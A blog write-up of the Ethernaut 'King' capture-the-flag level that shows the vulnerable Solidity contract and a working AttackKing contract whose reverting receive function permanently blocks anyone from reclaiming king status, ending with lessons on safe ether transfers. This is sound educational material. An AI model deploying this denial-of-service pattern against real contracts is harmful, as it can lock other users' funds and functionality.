# Ethernaut 7: King

By [0xbanky](https://paragraph.com/@banky) · 2022-08-18

---

My solution to the 7th ethernaut challenge. This was so far the most difficult challenge for me

[https://ethernaut.openzeppelin.com/level/0x43BA674B4fbb8B157b7441C2187bCdD2cdF84FD5](https://ethernaut.openzeppelin.com/level/0x43BA674B4fbb8B157b7441C2187bCdD2cdF84FD5)

Investigation
-------------

We are given a fun little ponzi scheme contract. The contract stores a prize in ether which can be gained by playing the game. To get the prize, simply send more ether to the contract and the new ether amount becomes the new prize. The contract will then set your address as the new `king`.

    // SPDX-License-Identifier: MIT
    pragma solidity ^0.6.0;
    
    contract King {
    
      address payable king;
      uint public prize;
      address payable public owner;
    
      constructor() public payable {
        owner = msg.sender;  
        king = msg.sender;
        prize = msg.value;
      }
    
      receive() external payable {
        require(msg.value >= prize || msg.sender == owner);
        king.transfer(msg.value);
        king = msg.sender;
        prize = msg.value;
      }
    
      function _king() public view returns (address payable) {
        return king;
      }
    }
    

The goal is to gain the `king` status and make it so that nobody else can become the new `king`. First, to test things out, I sent some ether to the contract and this indeed made my wallet address the new `king`. However, on submitting the contract, the owner steals back the `king` status. So I needed something more drastic.

Solution
--------

After giving this some thought, I found that the key here is to take advantage of the fact that whenever someone new tries to become the new `king`, the contract has to send all of its ether to the current `king`. This would be fine if the funds were being sent to a regular wallet, but if I make a contract the current `king`, then the EVM will be forced to run code in my contract when the funds are sent. To demonstrate this, I created an `AttackKing` contract that looks like this

    contract AttackKing {
        address payable kingInstanceAddress;
        King kingInstance;
    
        constructor(address payable kingAddress) {
            kingInstanceAddress = kingAddress;
            kingInstance = King(kingAddress);
        }
    
        receive () external payable {
            // Revert when anyone else tries to become king
            if (msg.sender == kingInstanceAddress) {
                revert("Not letting you take my kingship");
            }
        }
    
        function attack () payable public {
            uint currentPrize = kingInstance.prize();
            require(msg.value > currentPrize, "Not enough ether sent");
    
            (bool success, ) = kingInstanceAddress.call{value: msg.value}("");
            require(success, "Transfer failed.");
        }
    }
    

I deployed this contract and called the `attack` function with some ether. This then transfers ether to the deployed `King` contract, thus taking ownership of it. Verifying this:

    await contract._king()
    // "0x051E33DB81D1a59b4a411510D6E826A4B1C2Bb07" <- My contract!
    

When the owner of `King` tries to take the `king` status back, the contract tries to send ether to my exploit contract which reverts the entire call stack and the transaction fails 😏.

What I learned
--------------

1.  We can send ether with a transaction directly in the Remix IDE by filling in the `value` field. This was a bit annoying because it doesn’t allow decimal places
    
2.  When writing contracts, we need to take special care with ether transfers because transferring ether can mean running untrusted code
    
3.  The current best way to send ether is using the `call` method. ie.
    
        kingInstanceAddress.call{value: msg.value}("")
        
    
    Source:
    
    [https://ethereum.stackexchange.com/questions/19341/address-send-vs-address-transfer-best-practice-usage](https://ethereum.stackexchange.com/questions/19341/address-send-vs-address-transfer-best-practice-usage)

---

*Originally published on [0xbanky](https://paragraph.com/@banky/ethernaut-7-king)*
